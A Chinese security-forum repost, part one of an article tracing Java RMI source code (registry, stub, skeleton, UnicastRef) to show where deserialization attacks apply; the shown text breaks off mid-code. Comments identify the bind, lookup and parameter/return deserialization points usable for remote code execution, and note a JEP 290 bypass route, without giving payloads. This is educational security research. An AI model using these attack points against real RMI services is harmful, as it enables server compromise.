安全矩阵

 找回密码
 立即注册
搜索
查看: 6531|回复: 0

JAVA反序列化中 RMI JRMP 以及JNDI多种利用方式详解(上)

[复制链接]

23

主题

58

帖子

279

积分

中级会员

Rank: 3Rank: 3

积分
279
发表于 2020-12-5 08:54:38 | 显示全部楼层 |阅读模式
原文链接:JAVA反序列化中 RMI JRMP 以及JNDI多种利用方式详解
0x00  前言

Java反序列化漏洞一直都是Java Web漏洞中比较难以理解的点,尤其是碰到了RMI和JNDI种种概念时,就更加的难以理解了。笔者根据网上各类相关文章中的讲解,再结合自己对RMI JRMP以及JNDI等概念的理解,对 RMI客户端、服务端以及rmiregistry之间的关系,和三方之间的多种攻击方式进行了详细的介绍,希望能对各位读者学习Java Web安全有所帮助。

0x01  RPC框架原理简介

首先讲这些之前要明白一个概念,所有编程中的高级概念,看似很高级的一些功能什么的,都是建立于最基础的代码之上的。
例如此次涉及到的分布式的概念,就是通过java的socket,序列化,反序列化和反射来实现的。
举例说明 客户端要调用服务端的A对象的A方法,客户端会生成A对象的代理对象,代理对象里通过用Socket与服务端建立联系,然后将A方法以及调用A方法是要传入的参数序列化好通过socket传输给服务端,服务端接受反序列化接受到的数据,然后通过反射调用A对象的A方法并将参数传入,最终将执行结果返回给客户端,给人一种客户端在本地调用了服务端的A对象的A方法的错觉。

0x02  RMI流程源码分析

到后来JAVA RMI这块也不例外 但是为了方便更灵活的调用发展成了以下的样子
在客户端(远程方法调用者)和服务端(远程方法提供者)之间又多了一个丙方也就所谓的Registry也就是注册中心。
启动这个注册中心的代码非常简单,如下所示
这个Registry是一个单独的程序 路径位于/Library/Java/JavaVirtualMachines/jdk1.8.0_221.jdk/Contents/Home/bin/rmiregistry

刚刚所示的启动RMIRegistry的代码,也就是调用了这个rmiregistry可执行程序而已。
简单follow一下代码

  1. public static Registry createRegistry(int port) throws RemoteException {
  2.         return new RegistryImpl(port);
  3.     }
复制代码
  1. public RegistryImpl(final int var1) throws RemoteException {
  2.         this.bindings = new Hashtable(101);
  3.         if (var1 == 1099 && System.getSecurityManager() != null) {
  4.             try {
  5.            ......
  6.         } else {
  7.             LiveRef var2 = new LiveRef(id, var1);
  8.             this.setup(new UnicastServerRef(var2, RegistryImpl::registryFilter));
  9.         }


  10.     }
复制代码
很简单 没啥东西 liveRef里面就四个属性
  1. public class LiveRef implements Cloneable {
  2.     //指向一个TCPEndpoint对象,指定的Registry的ip地址和端口号
  3.     private final Endpoint ep;
  4.     //一个目前不知道做什么用的id号
  5.     private final ObjID id;
  6.     //为null
  7.     private transient Channel ch;
  8.     //为true
  9.     private final boolean isLocal;
  10.     ......
  11.     }
复制代码
  1. this.setup(new UnicastServerRef(var2, RegistryImpl::registryFilter));这段里面有个参数RegistryImpl::registryFilter这个东西就是jdk1.8.121版本以后添加的registryFilter专门用来校验传递进来的反序列化的类的,不在反序列化白名单内的类就不准进行反序列化操作,具体的方法代码如下
复制代码

  1. private static Status registryFilter(FilterInfo var0) {
  2.     if (registryFilter != null) {
  3.         Status var1 = registryFilter.checkInput(var0);
  4.         if (var1 != Status.UNDECIDED) {
  5.             return var1;
  6.         }
  7.     }


  8.     if (var0.depth() > 20L) {
  9.         return Status.REJECTED;
  10.     } else {
  11.         Class var2 = var0.serialClass();
  12.         if (var2 != null) {
  13.             if (!var2.isArray()) {
  14.               //可以很清楚的看到白名单的范围就下面这九个类型可以被反序列化
  15.                 return String.class != var2
  16.                   && !Number.class.isAssignableFrom(var2)
  17.                   && !Remote.class.isAssignableFrom(var2)
  18.                   && !Proxy.class.isAssignableFrom(var2)
  19.                   && !UnicastRef.class.isAssignableFrom(var2)
  20.                   && !RMIClientSocketFactory.class.isAssignableFrom(var2)
  21.                   && !RMIServerSocketFactory.class.isAssignableFrom(var2)
  22.                   && !ActivationID.class.isAssignableFrom(var2)
  23.                   && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
  24.             } else {
  25.                 return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED;
  26.             }
  27.         } else {
  28.             return Status.UNDECIDED;
  29.         }
  30.     }
  31. }
复制代码
这个白名单先暂且放一放,后面用到了再说。执行完new UnicastServerRef(var2, RegistryImpl::registryFilter)后简单看一下UnicastServerRef对象里的内容


setup方法内容

  1. private void setup(UnicastServerRef var1) throws RemoteException {
  2.         this.ref = var1;
  3.         var1.exportObject(this, (Object)null, true);
  4.     }
复制代码
UnicastServerRef.exportObject() 方法内容

  1. public Remote exportObject(Remote var1, Object var2, boolean var3) throws RemoteException {
  2.     //获取RegistryImpl的class对象
  3.     Class var4 = var1.getClass();


  4.     Remote var5;
  5.     try {
  6.         //Util.createProxy返回的值为RegistryImpl_Stub,这个stub在后面会进行讲解
  7.         var5 = Util.createProxy(var4, this.getClientRef(), this.forceStubUse);
  8.     } catch (IllegalArgumentException var7) {
  9.         throw new ExportException("remote object implements illegal remote interface", var7);
  10.     }
  11.     //RegistryImpl_Stub继承自RemoteStub判断成功
  12.     if (var5 instanceof RemoteStub) {
  13.       //为Skeleton赋值,通过this.skel = Util.createSkeleton(var1)来进行赋值,最终Util.createSkeleton(var1)返回的结果为一个RegistryImpl_Skel对象,这个Skeleton后面也会讲
  14.         this.setSkeleton(var1);
  15.     }
  16.     //实例化一个Target对象
  17.     Target var6 = new Target(var1, this, var5, this.ref.getObjID(), var3);
  18.     //做一个绑定这个target对象里有stub的相关信息
  19.     this.ref.exportObject(var6);
  20.     this.hashToMethod_Map = (Map)hashToMethod_Maps.get(var4);
  21.     //最终LocateRegistry.createRegistry(1099)会返回一个RegistryImpl_Stub对象
  22.     //同时启动rmiregistry,并监听指定端口
  23.     return var5;
  24. }
复制代码
很好这样启动rmiregistry的过程就简单分析完毕了,但是此时有一个问题,就是为什么会需要rmiregistry这么一个注册机制?客户端和服务端之间直接通过Socket互相调用不就好了么?想要知道答案就请耐心往下看
首先看下面这个RMI简单的流程图


在考虑为什么需要这个rmiregistry之前,先思考一个比较尴尬的问题。就是客户端(远程方法调用方)要想调用服务端(远程放方法服务方)的话,客户端要怎样才能知道服务端用来提供远程方法调用服务的ip地址和端口号?你说直接事先商量好然后写死在代码里面?可是服务方提供的端口号都是随机的啊,总不能我服务端每增加一个新的远程方法提供类就手动指定一个新的端口号吧?
所以现在就很尴尬,陷入了一个死循环,客户端想要调用服务端的方法客户端就需要先知道服务端的地址和对应的端口号,但是客户端又不知道因为没人告诉他。。。所以就相当的头痛。
此时就有了rmiregistry这么一个东西,我们先把rmiregistry称为丙方,功能很简单,服务端每新提供一个远程方法,都会来丙方(rmiregistry)这里注册一下,写明提供该方法远程条用服务的ip地址以及所对应的端口以及别的一些信息。
如下面的代码所示,首先我们如果要写一个提供远程方法调用服务的类,首先先写一个接口并继承Remote接口,

  1. public interface IHello extends Remote {
  2.     //sayHello就是客户端要调用的方法,需要抛出RemoteException
  3.     public String sayHello()throws RemoteException;
  4. }
复制代码
  1. 然后写一个类来实现这个接口

  2. package com.rmiTest.IHelloImpl;


  3. import com.rmiTest.IHello;


  4. import java.rmi.RemoteException;
  5. import java.rmi.server.UnicastRemoteObject;
  6. // 该类可以选择继承UnicastRemoteObject,也可以通过下面注释中的这种形式,其实本质都一样都是调用了
  7. // exportObject()方法
  8. // Remote remote = UnicastRemoteObject.exportObject(new HelloImpl());
  9. // LocateRegistry.getRegistry("127.0.0.1",1099).bind("hello",remote);
  10. public class HelloImpl extends UnicastRemoteObject implements IHello {
  11.   
  12.     public HelloImpl() throws RemoteException {


  13.     }


  14.     @Override
  15.     public String sayHello() {
  16.         System.out.println("hello");
  17.         return "hello";
  18.     }
  19. }
复制代码
  1. 最后将这个HelloImpl类注册到也可以说是绑定到rmiregistry也就是丙方中

  2. package com.rmiTest.provider;

  3. import com.chouXiangTest.impl.HelloServiceImpl;
  4. import com.rmiTest.IHelloImpl.HelloImpl;

  5. import java.rmi.AlreadyBoundException;
  6. import java.rmi.RemoteException;
  7. import java.rmi.registry.LocateRegistry;

  8. public class RMIProvider {
  9.     public static void main(String[] args) throws RemoteException, AlreadyBoundException {
  10.         LocateRegistry.getRegistry("127.0.0.1",1099).bind("hello",new HelloImpl());
  11.     }
  12. }
复制代码
  1. 首先我们先跟一下HelloImpl这个远程对象的实例化过程,首先HelloImpl是UnicastRemoteObject的子类,所以HelloImpl在实例化时会先调用UnicastRemoteObject类的构造方法,其构造方法内容如下

  2. protected UnicastRemoteObject(int port) throws RemoteException
  3. {
  4.       //这个prot参数是用来指定远程方法对应的端口的,默认情况下是随机的,也可以手动传入参数来指定
  5.         this.port = port;
  6.         exportObject((Remote) this, port);
  7.     }
复制代码
  1. 发现其会调用一个exportObject方法,继续跟进该方法

  2. private static Remote exportObject(Remote obj, UnicastServerRef sref)
  3.     throws RemoteException
  4. {
  5.     // if obj extends UnicastRemoteObject, set its ref.
  6.     if (obj instanceof UnicastRemoteObject) {
  7.         ((UnicastRemoteObject) obj).ref = sref;
  8.     }
  9.     return sref.exportObject(obj, null, false);
  10. }
复制代码
  1. 继续跟进UnicastServerRef.exportObject方法,其内部代码如下

  2. public Remote exportObject(Remote var1, Object var2, boolean var3) throws RemoteException {
  3.   //获取HelloImpl的class对象  
  4.   Class var4 = var1.getClass();

  5.     Remote var5;
  6.     try {
  7.       //这一步就是创建一个proxy对象,该proxy对象是实现了IHello接口,使用的Handler是RemoteObjectInvocationHandler
  8.         var5 = Util.createProxy(var4, this.getClientRef(), this.forceStubUse);
  9.     } catch (IllegalArgumentException var7) {
  10.         throw new ExportException("remote object implements illegal remote interface", var7);
  11.     }

  12.     if (var5 instanceof RemoteStub) {
  13.         this.setSkeleton(var1);
  14.     }

  15.     Target var6 = new Target(var1, this, var5, this.ref.getObjID(), var3);
  16.     this.ref.exportObject(var6);
  17.     this.hashToMethod_Map = (Map)hashToMethod_Maps.get(var4);
  18.     return var5;
  19. }
复制代码
其中Util.createProxy()方法返回的结果如下图所示

继续跟入this.ref.exportObject(var6),经过一系列的嵌套调用,最终来到了TCPTransport的exportObject方法,该方法内容如下


  1. public void exportObject(Target var1) throws RemoteException {
  2.     synchronized(this) {
  3.       //为远程方法开方一个端口
  4.         this.listen();
  5.         ++this.exportCount;
  6.     }

  7.     boolean var2 = false;
  8.     boolean var12 = false;

  9.     try {
  10.         var12 = true;
  11.         super.exportObject(var1);
  12.         var2 = true;
  13.         var12 = false;
  14.     } finally {
  15.         if (var12) {
  16.             if (!var2) {
  17.                 synchronized(this) {
  18.                     this.decrementExportCount();
  19.                 }
  20.             }

  21.         }
  22.     }
复制代码
  1. 此处跟进this.listen()方法

  2. private void listen() throws RemoteException {
  3.     assert Thread.holdsLock(this);
  4.     //获取TCPEndpoint对象
  5.     TCPEndpoint var1 = this.getEndpoint();
  6.   //从TCPEndpoint对象中获取端口号,默认情况下是为0
  7.     int var2 = var1.getPort();
  8.     if (this.server == null) {
  9.         if (tcpLog.isLoggable(Log.BRIEF)) {
  10.             tcpLog.log(Log.BRIEF, "(port " + var2 + ") create server socket");
  11.         }


  12.         try {
  13.           //此方法执行完成后会随机分配一个端口号
  14.             this.server = var1.newServerSocket();
  15.             Thread var3 = (Thread)AccessController.doPrivileged(new NewThreadAction(new TCPTransport.AcceptLoop(this.server), "TCP Accept-" + var2, true));
  16.             var3.start();
  17.         } catch (BindException var4) {
  18.             throw new ExportException("Port already in use: " + var2, var4);
  19.         } catch (IOException var5) {
  20.             throw new ExportException("Listen failed on port: " + var2, var5);
  21.         }
  22.     } else {
  23.         SecurityManager var6 = System.getSecurityManager();
  24.         if (var6 != null) {
  25.             var6.checkListen(var2);
  26.         }
  27.     }


  28. }
复制代码
  1. 经由以上分析,我们可知每创建一个远程方法对象,程序都会为其创建一个独立的线程,并为其指定一个端口号。



  2. 在分析完了远程方法提供对象实例化的过程后,也简单跟一下这个getRegistry()和bind()方法吧

  3. 首先是getRegistry()代码如下

  4. public static Registry getRegistry(String host, int port,
  5.                                        RMIClientSocketFactory csf)
  6.         throws RemoteException
  7.     {
  8.         Registry registry = null;

  9.         if (port <= 0)
  10.             port = Registry.REGISTRY_PORT;

  11.         if (host == null || host.length() == 0) {
  12.             // If host is blank (as returned by "file:" URL in 1.0.2 used in
  13.             // java.rmi.Naming), try to convert to real local host name so
  14.             // that the RegistryImpl's checkAccess will not fail.
  15.             try {
  16.                 host = java.net.InetAddress.getLocalHost().getHostAddress();
  17.             } catch (Exception e) {
  18.                 // If that failed, at least try "" (localhost) anyway...
  19.                 host = "";
  20.             }
  21.         }

  22.         /*
  23.          * Create a proxy for the registry with the given host, port, and
  24.          * client socket factory.  If the supplied client socket factory is
  25.          * null, then the ref type is a UnicastRef, otherwise the ref type
  26.          * is a UnicastRef2.  If the property
  27.          * java.rmi.server.ignoreStubClasses is true, then the proxy
  28.          * returned is an instance of a dynamic proxy class that implements
  29.          * the Registry interface; otherwise the proxy returned is an
  30.          * instance of the pregenerated stub class for RegistryImpl.
  31.          **/
  32.         LiveRef liveRef =
  33.             new LiveRef(new ObjID(ObjID.REGISTRY_ID),
  34.                         new TCPEndpoint(host, port, csf, null),
  35.                         false);
  36.         RemoteRef ref =
  37.             (csf == null) ? new UnicastRef(liveRef) : new UnicastRef2(liveRef);

  38.         return (Registry) Util.createProxy(RegistryImpl.class, ref, false);
  39.     }
复制代码
  1. 关键点在在于后面这几行代码

  2. LiveRef liveRef = new LiveRef(new ObjID(ObjID.REGISTRY_ID),
  3.                               new TCPEndpoint(host, port, csf, null),
  4.                               false);
  5. RemoteRef ref = (csf == null) ? new UnicastRef(liveRef) : new UnicastRef2(liveRef);
  6. return (Registry) Util.createProxy(RegistryImpl.class, ref, false);
复制代码
  1. 和LocateRegistry.createRegistry()有那么点相似

  2. 最关键的在于下面这行

  3. //几乎一模一样 传递进去的第一个参数都是RegistryImpl.class,第二个参数
  4. //第二个参数是同样的UnicastRef里面又包含了一个同样的LiveRef,以及最后同样的false
  5. return (Registry) Util.createProxy(RegistryImpl.class, ref, false);
复制代码
所以说从源码上分析 LocateRegistry.getRegistry()和LocateRegistry.createRegistry()最后的返回结果应该是一样的,我们看一下结果

果然不出所料返回的同样都是RegistryImpl_Stub对象,只不过LocateRegistry.getRegistry()执行完不会在本地再开一个监听端口罢了。
好了 现在我们有了一个RegistryImpl_Stub对象,我们要用它来将我们的HelloImpl注册到rmiregistry中,用到的是RegistryImpl_Stub.bind()方法。
ok,hold on 我们先来了解一下这个RegistryImpl_Stub首先该类是继承了RemoteStub,并实现了Registry, Remote接口(我们的HelloImpl也实现了这个接口),
该类的方法不多,就下面截图里这么些。没必要全都看,先看bind就行。

bind方法详细代码如下

  1. //var1为字符串“hello”,var2就是咱们的HelloImpl对象
  2. public void bind(String var1, Remote var2) throws AccessException, AlreadyBoundException, RemoteException {
  3.     try {
  4.       //这个就不细跟了,想想也知道是用来进行TCP通信的,里面存了rmiregistry的地址信息,具体怎么实现没必要整这么细,第三个参数0关乎到rmiregistry的RegistryImpl_Skel的dispathc方法里的switch究竟case哪一个。
  5.         RemoteCall var3 = this.ref.newCall(this, operations, 0, 4905912898345647071L);

  6.         try {
  7.             //创建一个ConnectionOutputStream对象
  8.             ObjectOutput var4 = var3.getOutputStream();
  9.             //序列化字符串“hello”
  10.             var4.writeObject(var1);
  11.             //序列化HelloImpl对象
  12.             var4.writeObject(var2);
  13.          
  14.         } catch (IOException var5) {
  15.             throw new MarshalException("error marshalling arguments", var5);
  16.         }
  17.         //向rmiregistry发送序列化数据
  18.         this.ref.invoke(var3);
  19.         this.ref.done(var3);
  20.       
  21.     } catch (RuntimeException var6) {
  22.         throw var6;
  23.     } catch (RemoteException var7) {
  24.         throw var7;
  25.     } catch (AlreadyBoundException var8) {
  26.         throw var8;
  27.     } catch (Exception var9) {
  28.         throw new UnexpectedException("undeclared checked exception", var9);
  29.     }
  30. }
复制代码
这里需要注意下,这里向rmiregistry发送的是序列化信息,既然一方有序列化的行为那么另一方必然会有反序列化的行为。
到此为止服务端也就是远程方法服务方这边的操作暂且告一段落,因为此时我们的HelloImpl已经注册到了rmiregistry中。
接下来我们返回rmiregistry的代码,来看一看这边的情况。
之前跟踪rmiregistry这边的LocateRegistry.createRegistry()这段代码时有经过这样一行代码
  1. //RegistryImpl_Stub继承自RemoteStub判断成功
  2. if (var5 instanceof RemoteStub) {
  3.   //为Skeleton赋值,通过this.skel = Util.createSkeleton(var1)来进行赋值,最终Util.createSkeleton(var1)返回的结果为一个RegistryImpl_Skel对象,这个Skeleton后面也会讲
  4.     this.setSkeleton(var1);
  5. }
复制代码
这个Skeleton就是前面流程里面的骨架,当执行完上面这两步的时候,UnicastServerRef的skel属性被赋值为一个RegistryImpl_Skel对象

我们来看一下这个RegistryImpl_Skel的相关信息,首先该类实现了Skeleton接口,该类的方法很少,如下图所示

其中最关键的方法就是dispatch方法,我们看下在Skeleton接口中对该方法的一个描述

  1. /**
  2. * Unmarshals arguments, calls the actual remote object implementation,
  3. * and marshals the return value or any exception.
  4. * 解封装参数,调用实际远程对象实现,并封装返回值或任何异常。
  5. * @param obj remote implementation to dispatch call to
  6. * @param theCall object representing remote call
  7. * @param opnum operation number
  8. * @param hash stub/skeleton interface hash
  9. * @exception java.lang.Exception if a general exception occurs.
  10. * @since JDK1.1
  11. * @deprecated no replacement
  12. */
  13. @Deprecated
  14. void dispatch(Remote obj, RemoteCall theCall, int opnum, long hash)
  15.     throws Exception;
复制代码
  1. 不难理解该方法就是对传入的远程调用信息进行分派调度的。其部分代码如下。

  2. //之前在服务端时进行LocateRegistry.getRegistry().bind()操作时
  3. // RemoteCall var3 = this.ref.newCall(this, operations, 0, 4905912898345647071L);
  4. //在这一步中封装了四个参数 有三个在这里用到了 var3为0,var2为即为StreamRemoteCall,封装有“hello”字符串和HelloImpl对象的序列化信息。
  5. public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
  6.     if (var3 < 0) {
  7.         if (var4 == 7583982177005850366L) {
  8.             var3 = 0;
  9.         } else if (var4 == 2571371476350237748L) {
  10.             var3 = 1;
  11.         } else if (var4 == -7538657168040752697L) {
  12.             var3 = 2;
  13.         } else if (var4 == -8381844669958460146L) {
  14.             var3 = 3;
  15.         } else {
  16.             if (var4 != 7305022919901907578L) {
  17.                 throw new UnmarshalException("invalid method hash");
  18.             }

  19.             var3 = 4;
  20.         }
  21.     } else if (var4 != 4905912898345647071L) {
  22.         throw new SkeletonMismatchException("interface hash mismatch");
  23.     }
  24.     //这个RegistryImpl会在rmiregistry运行期间一直存在,稍后会仔细讲解
  25.     RegistryImpl var6 = (RegistryImpl)var1;
  26.     String var7;
  27.     ObjectInput var8;
  28.     ObjectInput var9;
  29.     Remote var80;
  30.     switch(var3) {
  31.     //var3的值为0,自然是case0
  32.     case 0:
  33.         RegistryImpl.checkAccess("Registry.bind");

  34.         try {
  35.             //获取输入流
  36.             var9 = var2.getInputStream();
  37.              //反序列化“hello”字符串
  38.             var7 = (String)var9.readObject();
  39.             //这个位置本来是属于反序列化出来的“HelloImpl”对象的,但是最终结果得到的是一个Proxy对像
  40.             //这个很关键,这个Proxy对象即所为的Stub(存根),客户端就是通过这个Stub来知道服务端的地址和端口号从                 而进行通信的。
  41.             //这里的反序列化点很明显是我们可以利用的,通过RMI服务端执行bind,我们就可以攻击rmiregistry注               册中心,导致其反序列化RCE
  42.             var80 = (Remote)var9.readObject();
  43.         } catch (ClassNotFoundException | IOException var77) {
  44.             throw new UnmarshalException("error unmarshalling arguments", var77);
  45.         } finally {
  46.             var2.releaseInputStream();
  47.         }
  48.         //RegistryImpl对象有一个binding属性,是一个HashMap,这个HashMap里存储了所有注册了的远程调用方法的方法名,和其对应的stub。
  49.         var6.bind(var7, var80);
  50.         ......
  51.     }

  52. }
复制代码
我们来看一个这个binding属性里的详细信息

从这里我们明白了rmiregistry的本质就是一个HashMap,所有注册过的远程方法以键值对的形式存放在这里,当客户端来查询时,rmiregistry将对应的键值对中的Proxy返回给客户端,这样客户端就知道了服务端的地址和所对应的端口号,就可以进行通信了。
这其中有一个比较关键的类,在后续的绕过高版本JDK JEP290的白名单是会用到,就是UnicastRef,详观察不难发现该对象中存有rmi服务端的ip地址以及对应远程方法的端口号,该类在客户端、rmiregistry、以及服务端的通信中都起到了非常重要的作用,UnicastRef中有一个newCall方法 具体代码如下。

  1. public RemoteCall newCall(RemoteObject var1, Operation[] var2, int var3, long var4) throws RemoteException {
  2.     clientRefLog.log(Log.BRIEF, "get connection");
  3.     Connection var6 = this.ref.getChannel().newConnection();

  4.     try {
  5.         clientRefLog.log(Log.VERBOSE, "create call context");
  6.         if (clientCallLog.isLoggable(Log.VERBOSE)) {
  7.             this.logClientCall(var1, var2[var3]);
  8.         }

  9.         StreamRemoteCall var7 = new StreamRemoteCall(var6, this.ref.getObjID(), var3, var4);

  10.         try {
  11.             this.marshalCustomCallData(var7.getOutputStream());
  12.         } catch (IOException var9) {
  13.             throw new MarshalException("error marshaling custom call data");
  14.         }

  15.         return var7;
  16.     } catch (RemoteException var10) {
  17.         this.ref.getChannel().free(var6, false);
  18.         throw var10;
  19.     }
  20. }
复制代码
该方法会在java的DGC(分布式垃圾回收机制)中被调用,DGC则是我们绕过高版本JDK反序列化限制的一个重要的环节
首先客户端的代码

  1. package com.rmiTest.customer;

  2. import com.rmiTest.IHello;

  3. import java.rmi.NotBoundException;
  4. import java.rmi.RemoteException;
  5. import java.rmi.registry.LocateRegistry;

  6. public class RMICustomer {
  7.     public static void main(String[] args) throws RemoteException, NotBoundException {
  8.         IHello hello = (IHello) LocateRegistry.getRegistry("127.0.0.1", 1099).lookup("hello");
  9.         System.out.println(hello.sayHello());
  10.     }
  11. }
复制代码
LocateRegistry.getRegistry()没必要再分析一遍了,直接看lookup方法,部分代码如下

  1. public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
  2.     try {
  3.         //可以看到这次传递的第三个参数就不是0而是2了,同样的返回一个StreamRemoteCall对象
  4.         RemoteCall var2 = this.ref.newCall(this, operations, 2, 4905912898345647071L);

  5.         try {
  6.             //同样的生成一个ConnectionOutputStream对象
  7.             ObjectOutput var3 = var2.getOutputStream();
  8.             //序列化“hello”字符串
  9.             var3.writeObject(var1);
  10.         } catch (IOException var17) {
  11.             throw new MarshalException("error marshalling arguments", var17);
  12.         }
  13.         //和rmiregistry进行通信查询
  14.         this.ref.invoke(var2);
  15.         
  16.         Remote var22;
  17.         try {
  18.             //获取rmiregistry返回的输入流
  19.             ObjectInput var4 = var2.getInputStream();
  20.             //反序列化返回的Stub
  21.             //同样在反序列化rmiregistry返回的Stub时这个点我们也可以利用lookup方法,理论上,我们可以在客              户端用它去主动攻击RMI Registry,也能通过RMI Registry去被动攻击客户端
  22.             var22 = (Remote)var4.readObject();
  23. ......
  24.         } finally {
  25.             this.ref.done(var2);
  26.         }
  27.         return var22;
  28. ......
  29. }
复制代码
这里又提到了Stub我们来看看其反序列化完成后是什么样的吧

和之前在rmiregistry中看到的那个HashMap中的值一模一样,这下客户端就知道服务端的地址和端口号了,通过这些信息就可以和服务端进行通信了。
不过在此之前在看一下rmiregistry是怎么处理客户端的查询信息的。

  1. //为什么走case2 这里就不再重提了
  2. case 2:
  3.     try {
  4.         //获取客户端传来的输入流
  5.         var8 = var2.getInputStream();
  6.         //反序列化字符串“hello”
  7.         //同样在反序列化客户端传来的查询数据时,这个点我们也可以利用lookup方法,理论上,我们可以在客              户端用它去主动攻击RMI Registry,也能通过RMI Registry去被动攻击客户端
  8.         //尽管lookup时客户端似乎只能传递String类型,但是还是那句话,只要后台不做限制,客户端的东西皆可控
  9.         var7 = (String)var8.readObject();
  10.     } catch (ClassNotFoundException | IOException var73) {
  11.         throw new UnmarshalException("error unmarshalling arguments", var73);
  12.     } finally {
  13.         var2.releaseInputStream();
  14.     }
  15.     //调用RegistryImpl.lookup方法,返回的查询结果就是hello所对应的那个Proxy对象
  16.     var80 = var6.lookup(var7);

  17.     try {
  18.       //实例化一个输出流
  19.         ObjectOutput var82 = var2.getResultStream(true);
  20.       //序列化Proxy对象
  21.         var82.writeObject(var80);
  22.         break;
  23.     } catch (IOException var72) {
  24.         throw new MarshalException("error marshalling return", var72);
  25.     }
复制代码
如此这般,这般如此,rmiregistry这块处理客户端的查询信息的部分就简单分析完了。
然后回到客户端这里
  1.   //返回一个实现了IHello接口的Proxy对象
  2.     IHello hello = (IHello) LocateRegistry.getRegistry("127.0.0.1", 1099).lookup("hello");
  3.     //表面上时执行sayHello方法,实际上执行的是Proxy对象的Invoke方法
  4.     System.out.println(hello.sayHello());
复制代码
贴一下调用链

可以看到核心内容都在UnicastRef的Invoke方法, 下面是该方法的部分代码

  1. //var1 为当前的Proxy对象,
  2. public Object invoke(Remote var1, Method var2, Object[] var3, long var4) throws Exception {

  3.     ......
  4.     //创建一个链接对象
  5.     Connection var6 = this.ref.getChannel().newConnection();
  6.     StreamRemoteCall var7 = null;
  7.     boolean var8 = true;
  8.     boolean var9 = false;

  9.     Object var13;
  10.     try {
  11.         ......
  12.         //和getRegistry()与creatRegistry()一样 ,第三个参数为-1,但是这次调用的并不是                                  RegistryImpl_Skel.bind方法   
  13.         var7 = new StreamRemoteCall(var6, this.ref.getObjID(), -1, var4);
  14.         
  15.         Object var11;
  16.         try {
  17.             //获取输出流
  18.             ObjectOutput var10 = var7.getOutputStream();
  19.             //虽然没看里面的具体实现但是猜也能猜得到里面在序列化了一些东西
  20.             this.marshalCustomCallData(var10);
  21.             //获取要传递的参数类型,可是这次我们没传参数所以就没有
  22.             var11 = var2.getParameterTypes();
  23.             //如果传递的有参数的话会执行下面这个for循环,把参数相关的信息也序列化到里面
  24.             for(int var12 = 0; var12 < ((Object[])var11).length; ++var12) {
  25.                     //由于该方法会将调用的远程方法的参数进行反序列化,由此此处也可以进行利用,可以称为客户端对服务端进行反序列化攻击的点
  26.               //也就是说,在这个远程调用的过程中,我们可以想办法,把参数的序列化数据替换成恶意序列化数据,我们就能攻击服务端,而服务端,也能替换其返回的序列化数据为恶意序列化数据,进而被动攻击客户端。
  27.                     marshalValue((Class)((Object[])var11)[var12], var3[var12], var10);
  28.                 }
  29.             ......
  30.               
  31.         }
  32.         //像服务端发送序列化的数据
  33.         var7.executeCall();

  34.         try {
  35.             //获取该远程方法的返回值类型
  36.             Class var46 = var2.getReturnType();
  37.          
  38.              ......
  39.             //获取输入流  
  40.             var11 = var7.getInputStream();
  41.             //解封装参数将返回值赋值给var46,也就是把返回的结果字符串“hello”赋值给var47
  42.             //既然将返回的参数还原了,那么其中必定包含了反序列化,由此此处可以是服务端对客户端进行反序列化攻击的              点
  43.           //也就是说,在这个远程调用的过程中,我们可以想办法,把参数的序列化数据替换成恶意序列化数据,我们就能攻击服务端,而服务端,也能替换其返回的序列化数据为恶意序列化数据,进而被动攻击客户端。
  44.             Object var47 = unmarshalValue(var46, (ObjectInput)var11);
  45.             var9 = true;
  46.             clientRefLog.log(Log.BRIEF, "free connection (reuse = true)");
  47.             //释放链接通道
  48.             this.ref.getChannel().free(var6, true);
  49.             var13 = var47;
  50.         } catch (ClassNotFoundException | IOException var40) {
  51.          
  52.             ......
  53.               
  54.         } finally {
  55.             try {
  56.                 var7.done();
  57.             } catch (IOException var38) {
  58.                 ......
  59.             }

  60.         }
  61.     } catch (RuntimeException var42) {
  62.       
  63.       ......
  64.         
  65.     }
  66.     //最终返回var46的值
  67.     return var13;
  68. }
复制代码
ok客户端这边的处理过程到此就已经完毕了,接下来跟到服务端看一看。

根据调用链信息,先来看UnicastServerRef.dispatch()方法

  1. //Var1为实现了Remote接口的HelloImpl对象,Var2为客户端传来的StreamRemoteCall对象该对象里有ConnectionInputStream,也就是说远程调用的参数都在这里面存着
  2. public void dispatch(Remote var1, RemoteCall var2) throws IOException {
  3.     try {
  4.         int var3;
  5.         ObjectInput var41;
  6.         try {
  7.             //获取输入流
  8.             var41 = var2.getInputStream();
  9.             //读出来-1
  10.             var3 = var41.readInt();
  11.         } catch (Exception var38) {
  12.             throw new UnmarshalException("error unmarshalling call header", var38);
  13.         }

  14.         if (this.skel != null) {
  15.             this.oldDispatch(var1, var2, var3);
  16.             return;
  17.         }

  18.         if (var3 >= 0) {
  19.             throw new UnmarshalException("skeleton class not found but required for client version");
  20.         }

  21.         long var4;
  22.         try {
  23.             var4 = var41.readLong();
  24.         } catch (Exception var37) {
  25.             throw new UnmarshalException("error unmarshalling call header", var37);
  26.         }

  27.         MarshalInputStream var7 = (MarshalInputStream)var41;
  28.         var7.skipDefaultResolveClass();
  29.         Method var42 = (Method)this.hashToMethod_Map.get(var4);
  30.         if (var42 == null) {
  31.             throw new UnmarshalException("unrecognized method hash: method not supported by remote object");
  32.         }

  33.         this.logCall(var1, var42);
  34.         Object[] var9 = null;

  35.         try {
  36.             this.unmarshalCustomCallData(var41);
  37.             //从 ConnectionInputStream里反序列化出远程调用的参数
  38.             //这里就是客户端可以用来攻击服务端的点,因为这里对远程调用方法的参数进行了反序列化,由此我们可以传递               恶意的反序列化数据进来
  39.             var9 = this.unmarshalParameters(var1, var42, var7);
  40.         } catch (AccessException var34) {
  41.             ((StreamRemoteCall)var2).discardPendingRefs();
  42.             throw var34;
  43.         } catch (ClassNotFoundException | IOException var35) {
  44.             ((StreamRemoteCall)var2).discardPendingRefs();
  45.             throw new UnmarshalException("error unmarshalling arguments", var35);
  46.         } finally {
  47.             var2.releaseInputStream();
  48.         }

  49.         Object var10;
  50.         try {
  51.             //反射调用对应的远程方法
  52.             var10 = var42.invoke(var1, var9);
  53.         } catch (InvocationTargetException var33) {
  54.             throw var33.getTargetException();
  55.         }

  56.         try {
  57.             //获取输出流
  58.             ObjectOutput var11 = var2.getResultStream(true);
  59.             //获取返回值类型
